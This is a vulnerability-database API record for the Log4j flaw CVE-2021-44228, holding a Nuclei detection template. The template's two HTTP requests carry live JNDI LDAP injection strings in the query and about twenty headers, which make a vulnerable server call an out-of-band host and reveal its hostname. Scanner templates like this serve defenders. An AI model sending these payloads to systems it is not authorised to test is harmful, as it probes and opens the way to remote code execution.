{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-44228/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-44228/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-44228/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-44228/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-44228/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-44228"},"sightings":{"href":"/api/v1/sightings/cve-2021-44228"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-44228.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-44228\ninfo:\n  name: Apache Log4j2 Remote Code Injection\n  author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo\n  severity: critical\n  description: |\n    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.\n  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).\n  reference:\n    - https://logging.apache.org/log4j/2.x/security.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228\n    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n    - https://www.lunasec.io/docs/blog/log4j-zero-day/\n    - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2021-44228\n    cwe-id: CWE-20,CWE-917\n    epss-score: 0.99999\n    epss-percentile: 1\n    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: log4j\n  tags: cve2021,cve,rce,oast,log4j,injection,kev,apache,vkev,vuln\nvariables:\n  rand1: '{{rand_int(111, 999)}}'\n  rand2: '{{rand_int(111, 999)}}'\nhttp:\n  - raw:\n      - |\n        GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}\n        Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}\n        Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}\n        Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}\n        Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}\n        Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}\n        Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}\n        Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}\n        Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}\n        Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}\n        Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}\n        Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}\n        User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}\n        X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}\n        X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}\n        X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}\n        X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}\n        X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n      - type: regex\n        part: interactsh_request\n        regex:\n          - '\\d{6}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+'\n    extractors:\n      - type: kval\n        kval:\n          - interactsh_ip\n      - type: regex\n        group: 2\n        regex:\n          - '\\d{6}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+'\n        part: interactsh_request\n      - type: regex\n        group: 1\n        regex:\n          - '\\d{6}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+'\n        part: interactsh_request\n        # digest: 4a0a0047304502202884fb76d02d44ae24b3e9bc5914a20e89726f929f3a1472cb9ce81e16f6c7320221009fb4e79fd5e58f4a49ccbeff467c990c3be6e32a7e03a2af8db207849e937d5f:922c64590222798bb761d5b6d8e72950\n# digest: 4a0a00473045022100e6e1656a10e80b66fe4c791b91d4ff1ab937100e3554c22e6a072d1f510c1f74022053b02d1cfa947d44df9fe96552f4ed047210b6714291f8ef194c86d90f27692e:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-44228"}